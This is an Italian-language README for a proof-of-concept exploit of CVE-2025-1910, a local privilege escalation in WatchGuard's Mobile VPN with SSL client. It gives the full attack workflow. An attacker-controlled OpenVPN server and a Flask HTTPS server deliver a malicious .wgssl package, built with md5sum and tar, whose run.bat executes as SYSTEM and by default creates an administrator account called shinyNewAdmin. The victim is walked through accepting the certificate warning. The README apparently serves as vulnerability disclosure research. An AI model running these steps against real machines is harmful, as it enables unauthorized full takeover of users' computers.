
Prova di concetto per lo sfruttamento di CVE-2025-1910, un'escalation dei privilegi locali nel client Mobile VPN with SSL di Watchguard.
Una vulnerabilità di escalation dei privilegi in Mobile VPN with SSL di WatchGuard <= 12.11.2 consente a un utente con privilegi limitati di eseguire comandi come SYSTEM sul client. Testata con la versione 12.11.2 di Mobile VPN with SSL.
Per maggiori dettagli, consulta il nostro articolo del blog (versione tedesca).
sudo openvpn --config server.conf

Modifica l'opzione remote in ./client/client.ovpn per puntare al server OpenVPN
Modifica ./client/run.bat come preferisci; questo script verrà eseguito come SYSTEM. Per impostazione predefinita, viene creato un nuovo utente amministratore (shinyNewAdmin)
Crea il file client.wgssl malevolo di WatchGuard:
cd client/
# Create checksum
md5sum client.ovpn run.bat > MD5SUM
# Pack into a .wgssl file
tar -czf ../client_exploit.wgssl client.ovpn MD5SUM run.bat
cd ..
client.wgssl malevolo tramite flask:# Start the flask HTTPS server
sudo python3 srv.py

Facoltativamente, è possibile creare una nuova coppia certificato e chiave tramite openssl:
# Create certificate and private key for the HTTPS connection
openssl req -x509 -newkey rsa:4096 -nodes -out server.crt -keyout server.key -days 365 -subj "/CN=firebox"
Quindi, sulla macchina vittima in cui è installata una versione vulnerabile di Mobile VPN with SSL (ad esempio la versione 12.11.2, Download), prova a connetterti al server dell'attaccante. Il nome utente e la password inseriti non hanno importanza:

Fai clic su Sì nell'avviso di sicurezza per ignorare gli avvisi del certificato:

Dopo che la connessione è stata stabilita correttamente, il file run.bat viene eseguito e l'utente shinyNewAdmin viene creato:

Sul server dell'attaccante devi avere installati Python, openssl e openvpn. Inoltre, è necessario installare il pacchetto Python flask:
pip install -r requirements.txt
Con Nix installato, puoi semplicemente avviare la shell di sviluppo:
nix develop